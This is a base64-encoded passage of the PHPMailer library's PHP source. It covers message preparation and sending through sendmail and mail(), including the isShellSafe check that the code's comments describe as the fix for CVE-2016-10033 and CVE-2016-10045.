T0gZmFsc2UpIHsKICAgICAgICAgICAgJGRvbWFpbiA9IHN1YnN0cigkYWRkcmVzcywgKyskcG9zKTsKICAgICAgICAgICAgLy8gVmVyaWZ5IENoYXJTZXQgc3RyaW5nIGlzIGEgdmFsaWQgb25lLCBhbmQgZG9tYWluIHByb3Blcmx5IGVuY29kZWQgaW4gdGhpcyBDaGFyU2V0LgogICAgICAgICAgICBpZiAoJHRoaXMtPmhhczhiaXRDaGFycygkZG9tYWluKSBhbmQgQG1iX2NoZWNrX2VuY29kaW5nKCRkb21haW4sICR0aGlzLT5DaGFyU2V0KSkgewogICAgICAgICAgICAgICAgJGRvbWFpbiA9IG1iX2NvbnZlcnRfZW5jb2RpbmcoJGRvbWFpbiwgJ1VURi04JywgJHRoaXMtPkNoYXJTZXQpOwogICAgICAgICAgICAgICAgaWYgKCgkcHVueWNvZGUgPSBkZWZpbmVkKCdJTlRMX0lETkFfVkFSSUFOVF9VVFM0NicpID8KICAgICAgICAgICAgICAgICAgICBpZG5fdG9fYXNjaWkoJGRvbWFpbiwgMCwgSU5UTF9JRE5BX1ZBUklBTlRfVVRTNDYpIDoKICAgICAgICAgICAgICAgICAgICBpZG5fdG9fYXNjaWkoJGRvbWFpbikpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgIHJldHVybiBzdWJzdHIoJGFkZHJlc3MsIDAsICRwb3MpIC4gJHB1bnljb2RlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkYWRkcmVzczsKICAgIH0KCiAgICAvKioKICAgICAqIENyZWF0ZSBhIG1lc3NhZ2UgYW5kIHNlbmQgaXQuCiAgICAgKiBVc2VzIHRoZSBzZW5kaW5nIG1ldGhvZCBzcGVjaWZpZWQgYnkgJE1haWxlci4KICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gZmFsc2Ugb24gZXJyb3IgLSBTZWUgdGhlIEVycm9ySW5mbyBwcm9wZXJ0eSBmb3IgZGV0YWlscyBvZiB0aGUgZXJyb3IuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzZW5kKCkKICAgIHsKICAgICAgICB0cnkgewogICAgICAgICAgICBpZiAoISR0aGlzLT5wcmVTZW5kKCkpIHsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gJHRoaXMtPnBvc3RTZW5kKCk7CiAgICAgICAgfSBjYXRjaCAocGhwbWFpbGVyRXhjZXB0aW9uICRleGMpIHsKICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgPSAnJzsKICAgICAgICAgICAgJHRoaXMtPnNldEVycm9yKCRleGMtPmdldE1lc3NhZ2UoKSk7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgJGV4YzsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogUHJlcGFyZSBhIG1lc3NhZ2UgZm9yIHNlbmRpbmcuCiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBwcmVTZW5kKCkKICAgIHsKICAgICAgICB0cnkgewogICAgICAgICAgICAkdGhpcy0+ZXJyb3JfY291bnQgPSAwOyAvLyBSZXNldCBlcnJvcnMKICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgPSAnJzsKCiAgICAgICAgICAgIC8vIERlcXVldWUgcmVjaXBpZW50IGFuZCBSZXBseS1UbyBhZGRyZXNzZXMgd2l0aCBJRE4KICAgICAgICAgICAgZm9yZWFjaCAoYXJyYXlfbWVyZ2UoJHRoaXMtPlJlY2lwaWVudHNRdWV1ZSwgJHRoaXMtPlJlcGx5VG9RdWV1ZSkgYXMgJHBhcmFtcykgewogICAgICAgICAgICAgICAgJHBhcmFtc1sxXSA9ICR0aGlzLT5wdW55ZW5jb2RlQWRkcmVzcygkcGFyYW1zWzFdKTsKICAgICAgICAgICAgICAgIGNhbGxfdXNlcl9mdW5jX2FycmF5KGFycmF5KCR0aGlzLCAnYWRkQW5BZGRyZXNzJyksICRwYXJhbXMpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgoY291bnQoJHRoaXMtPnRvKSArIGNvdW50KCR0aGlzLT5jYykgKyBjb3VudCgkdGhpcy0+YmNjKSkgPCAxKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdwcm92aWRlX2FkZHJlc3MnKSwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIFZhbGlkYXRlIEZyb20sIFNlbmRlciwgYW5kIENvbmZpcm1SZWFkaW5nVG8gYWRkcmVzc2VzCiAgICAgICAgICAgIGZvcmVhY2ggKGFycmF5KCdGcm9tJywgJ1NlbmRlcicsICdDb25maXJtUmVhZGluZ1RvJykgYXMgJGFkZHJlc3Nfa2luZCkgewogICAgICAgICAgICAgICAgJHRoaXMtPiRhZGRyZXNzX2tpbmQgPSB0cmltKCR0aGlzLT4kYWRkcmVzc19raW5kKTsKICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkdGhpcy0+JGFkZHJlc3Nfa2luZCkpIHsKICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICR0aGlzLT4kYWRkcmVzc19raW5kID0gJHRoaXMtPnB1bnllbmNvZGVBZGRyZXNzKCR0aGlzLT4kYWRkcmVzc19raW5kKTsKICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkdGhpcy0+JGFkZHJlc3Nfa2luZCkpIHsKICAgICAgICAgICAgICAgICAgICAkZXJyb3JfbWVzc2FnZSA9ICR0aGlzLT5sYW5nKCdpbnZhbGlkX2FkZHJlc3MnKSAuICcgKHB1bnlFbmNvZGUpICcgLiAkdGhpcy0+JGFkZHJlc3Nfa2luZDsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBTZXQgd2hldGhlciB0aGUgbWVzc2FnZSBpcyBtdWx0aXBhcnQvYWx0ZXJuYXRpdmUKICAgICAgICAgICAgaWYgKCR0aGlzLT5hbHRlcm5hdGl2ZUV4aXN0cygpKSB7CiAgICAgICAgICAgICAgICAkdGhpcy0+Q29udGVudFR5cGUgPSAnbXVsdGlwYXJ0L2FsdGVybmF0aXZlJzsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgJHRoaXMtPnNldE1lc3NhZ2VUeXBlKCk7CiAgICAgICAgICAgIC8vIFJlZnVzZSB0byBzZW5kIGFuIGVtcHR5IG1lc3NhZ2UgdW5sZXNzIHdlIGFyZSBzcGVjaWZpY2FsbHkgYWxsb3dpbmcgaXQKICAgICAgICAgICAgaWYgKCEkdGhpcy0+QWxsb3dFbXB0eSBhbmQgZW1wdHkoJHRoaXMtPkJvZHkpKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdlbXB0eV9tZXNzYWdlJyksIHNlbGY6OlNUT1BfQ1JJVElDQUwpOwogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBDcmVhdGUgYm9keSBiZWZvcmUgaGVhZGVycyBpbiBjYXNlIGJvZHkgbWFrZXMgY2hhbmdlcyB0byBoZWFkZXJzIChlLmcuIGFsdGVyaW5nIHRyYW5zZmVyIGVuY29kaW5nKQogICAgICAgICAgICAkdGhpcy0+TUlNRUhlYWRlciA9ICcnOwogICAgICAgICAgICAkdGhpcy0+TUlNRUJvZHkgPSAkdGhpcy0+Y3JlYXRlQm9keSgpOwogICAgICAgICAgICAvLyBjcmVhdGVCb2R5IG1heSBoYXZlIGFkZGVkIHNvbWUgaGVhZGVycywgc28gcmV0YWluIHRoZW0KICAgICAgICAgICAgJHRlbXBoZWFkZXJzID0gJHRoaXMtPk1JTUVIZWFkZXI7CiAgICAgICAgICAgICR0aGlzLT5NSU1FSGVhZGVyID0gJHRoaXMtPmNyZWF0ZUhlYWRlcigpOwogICAgICAgICAgICAkdGhpcy0+TUlNRUhlYWRlciAuPSAkdGVtcGhlYWRlcnM7CgogICAgICAgICAgICAvLyBUbyBjYXB0dXJlIHRoZSBjb21wbGV0ZSBtZXNzYWdlIHdoZW4gdXNpbmcgbWFpbCgpLCBjcmVhdGUKICAgICAgICAgICAgLy8gYW4gZXh0cmEgaGVhZGVyIGxpc3Qgd2hpY2ggY3JlYXRlSGVhZGVyKCkgZG9lc24ndCBmb2xkIGluCiAgICAgICAgICAgIGlmICgkdGhpcy0+TWFpbGVyID09ICdtYWlsJykgewogICAgICAgICAgICAgICAgaWYgKGNvdW50KCR0aGlzLT50bykgPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgLj0gJHRoaXMtPmFkZHJBcHBlbmQoJ1RvJywgJHRoaXMtPnRvKTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1RvJywgJ3VuZGlzY2xvc2VkLXJlY2lwaWVudHM6OycpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgLj0gJHRoaXMtPmhlYWRlckxpbmUoCiAgICAgICAgICAgICAgICAgICAgJ1N1YmplY3QnLAogICAgICAgICAgICAgICAgICAgICR0aGlzLT5lbmNvZGVIZWFkZXIoJHRoaXMtPnNlY3VyZUhlYWRlcih0cmltKCR0aGlzLT5TdWJqZWN0KSkpCiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBTaWduIHdpdGggREtJTSBpZiBlbmFibGVkCiAgICAgICAgICAgIGlmICghZW1wdHkoJHRoaXMtPkRLSU1fZG9tYWluKQogICAgICAgICAgICAgICAgYW5kICFlbXB0eSgkdGhpcy0+REtJTV9zZWxlY3RvcikKICAgICAgICAgICAgICAgIGFuZCAoIWVtcHR5KCR0aGlzLT5ES0lNX3ByaXZhdGVfc3RyaW5nKQogICAgICAgICAgICAgICAgICAgIG9yICghZW1wdHkoJHRoaXMtPkRLSU1fcHJpdmF0ZSkKICAgICAgICAgICAgICAgICAgICAgICAgYW5kIHNlbGY6OmlzUGVybWl0dGVkUGF0aCgkdGhpcy0+REtJTV9wcml2YXRlKQogICAgICAgICAgICAgICAgICAgICAgICBhbmQgZmlsZV9leGlzdHMoJHRoaXMtPkRLSU1fcHJpdmF0ZSkKICAgICAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgJGhlYWRlcl9ka2ltID0gJHRoaXMtPkRLSU1fQWRkKAogICAgICAgICAgICAgICAgICAgICR0aGlzLT5NSU1FSGVhZGVyIC4gJHRoaXMtPm1haWxIZWFkZXIsCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGVhZGVyKCR0aGlzLT5TdWJqZWN0KSksCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPk1JTUVCb2R5CiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgJHRoaXMtPk1JTUVIZWFkZXIgPSBydHJpbSgkdGhpcy0+TUlNRUhlYWRlciwgIlxyXG4gIikgLiBzZWxmOjpDUkxGIC4KICAgICAgICAgICAgICAgICAgICBzdHJfcmVwbGFjZSgiXHJcbiIsICJcbiIsICRoZWFkZXJfZGtpbSkgLiBzZWxmOjpDUkxGOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0gY2F0Y2ggKHBocG1haWxlckV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93ICRleGM7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIEFjdHVhbGx5IHNlbmQgYSBtZXNzYWdlLgogICAgICogU2VuZCB0aGUgZW1haWwgdmlhIHRoZSBzZWxlY3RlZCBtZWNoYW5pc20KICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHBvc3RTZW5kKCkKICAgIHsKICAgICAgICB0cnkgewogICAgICAgICAgICAvLyBDaG9vc2UgdGhlIG1haWxlciBhbmQgc2VuZCB0aHJvdWdoIGl0CiAgICAgICAgICAgIHN3aXRjaCAoJHRoaXMtPk1haWxlcikgewogICAgICAgICAgICAgICAgY2FzZSAnc2VuZG1haWwnOgogICAgICAgICAgICAgICAgY2FzZSAncW1haWwnOgogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+c2VuZG1haWxTZW5kKCR0aGlzLT5NSU1FSGVhZGVyLCAkdGhpcy0+TUlNRUJvZHkpOwogICAgICAgICAgICAgICAgY2FzZSAnc210cCc6CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5zbXRwU2VuZCgkdGhpcy0+TUlNRUhlYWRlciwgJHRoaXMtPk1JTUVCb2R5KTsKICAgICAgICAgICAgICAgIGNhc2UgJ21haWwnOgogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+bWFpbFNlbmQoJHRoaXMtPk1JTUVIZWFkZXIsICR0aGlzLT5NSU1FQm9keSk7CiAgICAgICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgICAgICRzZW5kTWV0aG9kID0gJHRoaXMtPk1haWxlci4nU2VuZCc7CiAgICAgICAgICAgICAgICAgICAgaWYgKG1ldGhvZF9leGlzdHMoJHRoaXMsICRzZW5kTWV0aG9kKSkgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPiRzZW5kTWV0aG9kKCR0aGlzLT5NSU1FSGVhZGVyLCAkdGhpcy0+TUlNRUJvZHkpOwogICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5tYWlsU2VuZCgkdGhpcy0+TUlNRUhlYWRlciwgJHRoaXMtPk1JTUVCb2R5KTsKICAgICAgICAgICAgfQogICAgICAgIH0gY2F0Y2ggKHBocG1haWxlckV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICAkdGhpcy0+ZWRlYnVnKCRleGMtPmdldE1lc3NhZ2UoKSk7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgJGV4YzsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBTZW5kIG1haWwgdXNpbmcgdGhlICRTZW5kbWFpbCBwcm9ncmFtLgogICAgICogQHBhcmFtIHN0cmluZyAkaGVhZGVyIFRoZSBtZXNzYWdlIGhlYWRlcnMKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvZHkgVGhlIG1lc3NhZ2UgYm9keQogICAgICogQHNlZSBQSFBNYWlsZXI6OiRTZW5kbWFpbAogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIHNlbmRtYWlsU2VuZCgkaGVhZGVyLCAkYm9keSkKICAgIHsKICAgICAgICAvLyBDVkUtMjAxNi0xMDAzMywgQ1ZFLTIwMTYtMTAwNDU6IERvbid0IHBhc3MgLWYgaWYgY2hhcmFjdGVycyB3aWxsIGJlIGVzY2FwZWQuCiAgICAgICAgaWYgKCFlbXB0eSgkdGhpcy0+U2VuZGVyKSBhbmQgc2VsZjo6aXNTaGVsbFNhZmUoJHRoaXMtPlNlbmRlcikpIHsKICAgICAgICAgICAgaWYgKCR0aGlzLT5NYWlsZXIgPT0gJ3FtYWlsJykgewogICAgICAgICAgICAgICAgJHNlbmRtYWlsRm10ID0gJyVzIC1mJXMnOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJHNlbmRtYWlsRm10ID0gJyVzIC1vaSAtZiVzIC10JzsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmICgkdGhpcy0+TWFpbGVyID09ICdxbWFpbCcpIHsKICAgICAgICAgICAgICAgICRzZW5kbWFpbEZtdCA9ICclcyc7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkc2VuZG1haWxGbXQgPSAnJXMgLW9pIC10JzsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gVE9ETzogSWYgcG9zc2libGUsIHRoaXMgc2hvdWxkIGJlIGNoYW5nZWQgdG8gZXNjYXBlc2hlbGxhcmcuICBOZWVkcyB0aG9yb3VnaCB0ZXN0aW5nLgogICAgICAgICRzZW5kbWFpbCA9IHNwcmludGYoJHNlbmRtYWlsRm10LCBlc2NhcGVzaGVsbGNtZCgkdGhpcy0+U2VuZG1haWwpLCAkdGhpcy0+U2VuZGVyKTsKCiAgICAgICAgaWYgKCR0aGlzLT5TaW5nbGVUbykgewogICAgICAgICAgICBmb3JlYWNoICgkdGhpcy0+U2luZ2xlVG9BcnJheSBhcyAkdG9BZGRyKSB7CiAgICAgICAgICAgICAgICBpZiAoIUAkbWFpbCA9IHBvcGVuKCRzZW5kbWFpbCwgJ3cnKSkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4ZWN1dGUnKSAuICR0aGlzLT5TZW5kbWFpbCwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBmcHV0cygkbWFpbCwgJ1RvOiAnIC4gJHRvQWRkciAuICJcbiIpOwogICAgICAgICAgICAgICAgZnB1dHMoJG1haWwsICRoZWFkZXIpOwogICAgICAgICAgICAgICAgZnB1dHMoJG1haWwsICRib2R5KTsKICAgICAgICAgICAgICAgICRyZXN1bHQgPSBwY2xvc2UoJG1haWwpOwogICAgICAgICAgICAgICAgJHRoaXMtPmRvQ2FsbGJhY2soCiAgICAgICAgICAgICAgICAgICAgKCRyZXN1bHQgPT0gMCksCiAgICAgICAgICAgICAgICAgICAgYXJyYXkoJHRvQWRkciksCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmNjLAogICAgICAgICAgICAgICAgICAgICR0aGlzLT5iY2MsCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlN1YmplY3QsCiAgICAgICAgICAgICAgICAgICAgJGJvZHksCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPkZyb20KICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICBpZiAoJHJlc3VsdCAhPSAwKSB7CiAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+bGFuZygnZXhlY3V0ZScpIC4gJHRoaXMtPlNlbmRtYWlsLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmICghQCRtYWlsID0gcG9wZW4oJHNlbmRtYWlsLCAndycpKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdleGVjdXRlJykgLiAkdGhpcy0+U2VuZG1haWwsIHNlbGY6OlNUT1BfQ1JJVElDQUwpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZwdXRzKCRtYWlsLCAkaGVhZGVyKTsKICAgICAgICAgICAgZnB1dHMoJG1haWwsICRib2R5KTsKICAgICAgICAgICAgJHJlc3VsdCA9IHBjbG9zZSgkbWFpbCk7CiAgICAgICAgICAgICR0aGlzLT5kb0NhbGxiYWNrKAogICAgICAgICAgICAgICAgKCRyZXN1bHQgPT0gMCksCiAgICAgICAgICAgICAgICAkdGhpcy0+dG8sCiAgICAgICAgICAgICAgICAkdGhpcy0+Y2MsCiAgICAgICAgICAgICAgICAkdGhpcy0+YmNjLAogICAgICAgICAgICAgICAgJHRoaXMtPlN1YmplY3QsCiAgICAgICAgICAgICAgICAkYm9keSwKICAgICAgICAgICAgICAgICR0aGlzLT5Gcm9tCiAgICAgICAgICAgICk7CiAgICAgICAgICAgIGlmICgkcmVzdWx0ICE9IDApIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4ZWN1dGUnKSAuICR0aGlzLT5TZW5kbWFpbCwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgLyoqCiAgICAgKiBGaXggQ1ZFLTIwMTYtMTAwMzMgYW5kIENWRS0yMDE2LTEwMDQ1IGJ5IGRpc2FsbG93aW5nIHBvdGVudGlhbGx5IHVuc2FmZSBzaGVsbCBjaGFyYWN0ZXJzLgogICAgICoKICAgICAqIE5vdGUgdGhhdCBlc2NhcGVzaGVsbGFyZyBhbmQgZXNjYXBlc2hlbGxjbWQgYXJlIGluYWRlcXVhdGUgZm9yIG91ciBwdXJwb3NlcywgZXNwZWNpYWxseSBvbiBXaW5kb3dzLgogICAgICogQHBhcmFtIHN0cmluZyAkc3RyaW5nIFRoZSBzdHJpbmcgdG8gYmUgdmFsaWRhdGVkCiAgICAgKiBAc2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9QSFBNYWlsZXIvUEhQTWFpbGVyL2lzc3Vlcy85MjQgQ1ZFLTIwMTYtMTAwNDUgYnVnIHJlcG9ydAogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwcm90ZWN0ZWQgc3RhdGljIGZ1bmN0aW9uIGlzU2hlbGxTYWZlKCRzdHJpbmcpCiAgICB7CiAgICAgICAgLy8gRnV0dXJlLXByb29mCiAgICAgICAgaWYgKGVzY2FwZXNoZWxsY21kKCRzdHJpbmcpICE9PSAkc3RyaW5nCiAgICAgICAgICAgIG9yICFpbl9hcnJheShlc2NhcGVzaGVsbGFyZygkc3RyaW5nKSwgYXJyYXkoIickc3RyaW5nJyIsICJcIiRzdHJpbmdcIiIpKQogICAgICAgICkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQoKICAgICAgICAkbGVuZ3RoID0gc3RybGVuKCRzdHJpbmcpOwoKICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCAkbGVuZ3RoOyAkaSsrKSB7CiAgICAgICAgICAgICRjID0gJHN0cmluZ1skaV07CgogICAgICAgICAgICAvLyBBbGwgb3RoZXIgY2hhcmFjdGVycyBoYXZlIGEgc3BlY2lhbCBtZWFuaW5nIGluIGF0IGxlYXN0IG9uZSBjb21tb24gc2hlbGwsIGluY2x1ZGluZyA9IGFuZCArLgogICAgICAgICAgICAvLyBGdWxsIHN0b3AgKC4pIGhhcyBhIHNwZWNpYWwgbWVhbmluZyBpbiBjbWQuZXhlLCBidXQgaXRzIGltcGFjdCBzaG91bGQgYmUgbmVnbGlnaWJsZSBoZXJlLgogICAgICAgICAgICAvLyBOb3RlIHRoYXQgdGhpcyBkb2VzIHBlcm1pdCBub24tTGF0aW4gYWxwaGFudW1lcmljIGNoYXJhY3RlcnMgYmFzZWQgb24gdGhlIGN1cnJlbnQgbG9jYWxlLgogICAgICAgICAgICBpZiAoIWN0eXBlX2FsbnVtKCRjKSAmJiBzdHJwb3MoJ0BfLS4nLCAkYykgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIC8qKgogICAgICogQ2hlY2sgd2hldGhlciBhIGZpbGUgcGF0aCBpcyBvZiBhIHBlcm1pdHRlZCB0eXBlLgogICAgICogVXNlZCB0byByZWplY3QgVVJMcyBhbmQgcGhhciBmaWxlcyBmcm9tIGZ1bmN0aW9ucyB0aGF0IGFjY2VzcyBsb2NhbCBmaWxlIHBhdGhzLAogICAgICogc3VjaCBhcyBhZGRBdHRhY2htZW50LgogICAgICogQHBhcmFtIHN0cmluZyAkcGF0aCBBIHJlbGF0aXZlIG9yIGFic29sdXRlIHBhdGggdG8gYSBmaWxlLgogICAgICogQHJldHVybiBib29sCiAgICAgKi8KICAgIHByb3RlY3RlZCBzdGF0aWMgZnVuY3Rpb24gaXNQZXJtaXR0ZWRQYXRoKCRwYXRoKQogICAgewogICAgICAgIHJldHVybiAhcHJlZ19tYXRjaCgnI15bYS16XSs6Ly8jaScsICRwYXRoKTsKICAgIH0KCiAgICAvKioKICAgICAqIFNlbmQgbWFpbCB1c2luZyB0aGUgUEhQIG1haWwoKSBmdW5jdGlvbi4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGhlYWRlciBUaGUgbWVzc2FnZSBoZWFkZXJzCiAgICAgKiBAcGFyYW0gc3RyaW5nICRib2R5IFRoZSBtZXNzYWdlIGJvZHkKICAgICAqIEBsaW5rIGh0dHA6Ly93d3cucGhwLm5ldC9tYW51YWwvZW4vYm9vay5tYWlsLnBocAogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIG1haWxTZW5kKCRoZWFkZXIsICRib2R5KQogICAgewogICAgICAgICR0b0FyciA9IGFycmF5KCk7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPnRvIGFzICR0b2FkZHIpIHsKICAgICAgICAgICAgJHRvQXJyW10gPSAkdGhpcy0+YWRkckZvcm1hdCgkdG9hZGRyKTsKICAgICAgICB9CiAgICAgICAgJHRvID0gaW1wbG9kZSgnLCAnLCAkdG9BcnIpOwoKICAgICAgICAkcGFyYW1zID0gbnVsbDsKICAgICAgICAvL1RoaXMgc2V0cyB0aGUgU01UUCBlbnZlbG9wZSBzZW5kZXIgd2hpY2ggZ2V0cyB0dXJuZWQgaW50byBhIHJldHVybi1wYXRoIGhlYWRlciBieSB0aGUgcmVjZWl2ZXIKICAgICAgICBpZiAoIWVtcHR5KCR0aGlzLT5TZW5kZXIpIGFuZCAkdGhpcy0+dmFsaWRhdGVBZGRyZXNzKCR0aGlzLT5TZW5kZXIpKSB7CiAgICAgICAgICAgIC8vIENWRS0yMDE2LTEwMDMzLCBDVkUtMjAxNi0xMDA0NTogRG9uJ3QgcGFzcyAtZiBpZiBjaGFyYWN0ZXJzIHdpbGwgYmUgZXNjYXBlZC4KICAgICAgICAgICAgaWYgKHNlbGY6OmlzU2hlbGxTYWZlKCR0aGlzLT5TZW5kZXIpKSB7CiAgICAgICAgICAgICAgICAkcGFyYW1zID0gc3ByaW50ZignLWYlcycsICR0aGlzLT5TZW5kZXIpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmICghZW1wdHkoJHRoaXMtPlNlbmRlcikgYW5kICFpbmlfZ2V0KCdzYWZlX21vZGUnKSBhbmQgJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkdGhpcy0+U2VuZGVyKSkgewogICAgICAgICAgICAkb2xkX2Zyb20gPSBpbmlfZ2V0KCdzZW5kbWFpbF9mcm9tJyk7CiAgICAgICAgICAgIGluaV9zZXQoJ3NlbmRtYWlsX2Zyb20nLCAkdGhpcy0+U2VuZGVyKTsKICAgICAgICB9CiAgICAgICAgJHJlc3VsdCA9IGZhbHNlOwogICAgICAgIGlmICgkdGhpcy0+U2luZ2xlVG8gYW5kIGNvdW50KCR0b0FycikgPiA